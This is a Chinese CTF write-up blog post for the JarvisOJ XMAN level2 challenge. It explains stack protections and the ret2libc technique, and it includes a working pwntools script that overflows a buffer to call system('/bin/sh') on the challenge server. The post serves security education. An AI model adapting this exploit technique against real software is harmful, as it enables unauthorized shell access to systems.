CTF

「JarvisOJ」XMANlevel2题解

Posted by 许大仙 on August 2, 2018

day3:XMANlevel2

一、peda中checksec命令

XMANlevel2的保护机制情况

  • CANARY:(金丝雀值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警),类似于windows GS技术,当栈溢出发生时,canary值将在已保存的指令指针被重写前先改变。[canary放在栈中返回地址前,执行ret前检测canary的值]系统检测这个值是否改变[ret前],若栈溢出发生了,canary修改,那么存储返回地址处的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会丢出一个错误然后退出进程。
    • 缺点:仅保护了sip,未保护应用变量,覆写GOT绕过。
  • FORTIFY:Compile Time Buffer Checks,确定函数执行栈的大小,以避免缓冲区溢出攻击。

  • NX:No Execute.现代处理器支持一种称为NX的特性使得系统控制各部分的执行的内存。**即程序栈不可执行。 **
  • PIE:随机化加载程序的内存地址。
  • RELRO:RELocation Read-Only (RELRO) 重定位只读,它能够保护库函数的调用不受攻击者重定向的影响。

二、level2解题思路

当遇到NX开启,栈不可执行时,首先查看有没有开启ASLR,即PIE.[对本机查看aslr只是在当前机器下栈随机化情况].checksec观察到PIE: No PIE[没有装载地址随机化]。

说明可以使用ret2libc技术。[如果出现栈随机化+栈不可执行则要使用ROP技术]

ret2libc技术的核心:由于栈不可随机化,那么所有库的位置都是固定的,对于任何可执行文件都会默认自动使用引入一些标准库,比如libc库,libc库中存在system函数[即fork+execve+waitpid,可以开启一个子进程执行命令。]的位置也是固定的,在gdb下使用b main+p system就可得到system的起始地址。在退栈时设置返回地址为system函数首地址,再提供例如“/bin/sh”等实现功能的所需参数即可。

栈布局:

ret2libc

注:exit()是为了正常退出,不会因为调用者栈帧被破坏,报错,影响退出过程[退栈返回地址返回到system,调用system时运行push ebp指令,旧ebp 入栈到Address of system()的位置,ebp指向Address of system()的位置,所以返回地址ebp+4即为Address of exit()[在system执行完,ret的时候,会返回到exit],而ebp+8是第一个入口参数,恰好为“/bin/sh”的指针/存储地址,由system使用]

具体参考:

  • https://blog.csdn.net/linyt/article/details/43643499
  • https://www.shellblade.net/docs/ret2libc.pdf ——强烈建议阅读此篇,很清晰讲述了全过程(注意9-11页的阐述)
  • http://www.mamicode.com/info-detail-2277563.html

IDA中的String window--/bin/sh

将Level2拖入IDA,通过shift+F12搜索字符串,会发现/bin/sh[很奇怪的是我在win上用IDA能在level2中搜索到/bin/sh,但是在ubuntu IDA却搜不到,在python中用pwn的ELF模块的search函数能搜索到,说明确实有的]

system函数

在IDA左侧的函数列表中也发现了system函数。

因此可以构造system(“/bin/sh”),产生shell。

payload = ‘a’ * (0x88 + 0x4)[任意覆盖] + system函数首地址 + 任意4字节(比如0xdeadbeef或exit函数首地址……) + “/bin/sh”字符串地址

payload执行流程

三、解题步骤

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 
 4 
 5 from pwn import *
 6 context(arch="i386",os="linux",log_level = 'debug')
 7 
 8 elf = ELF('./level2')  #获得level2文件的ELF
 9 sys_addr = elf.symbols['system'] #system函数地址
10 sh_addr = elf.search('/bin/sh').next() #搜索/bin/sh字符串地址
11 
12 payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) #p32将0xdeadbeef转化为字符串
   #0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定,比如exit()函数的返回地址
13 #  io = process('./level2')
14 io = remote('pwn2.jarvisoj.com', 9878)
15 io.sendlineafter("Input:\n", payload) #在收到Input:\n之后才发出payload
16 
17 io.interactive()  #交互模式
18 io.close()

执行脚本

运行情况

四、system补充

System与execev的区别: system =fork+execve+waitpid,是在单独的进程中执行命令,完了还会回到你的程序中【像是当前父进程中断了,先在子进程中运行你的程序/命令,等待子进程运行完成才继续运行父进程中system之后的代码[子进程还是复制了父进程的栈等内存]】。而exec函数是直接在你的进程中执行新的程序,新的程序会把你的程序覆盖,除非调用出错,否则你再也回不到exec后面的代码,就是说你的程序就变成了exec调用的那个程序了。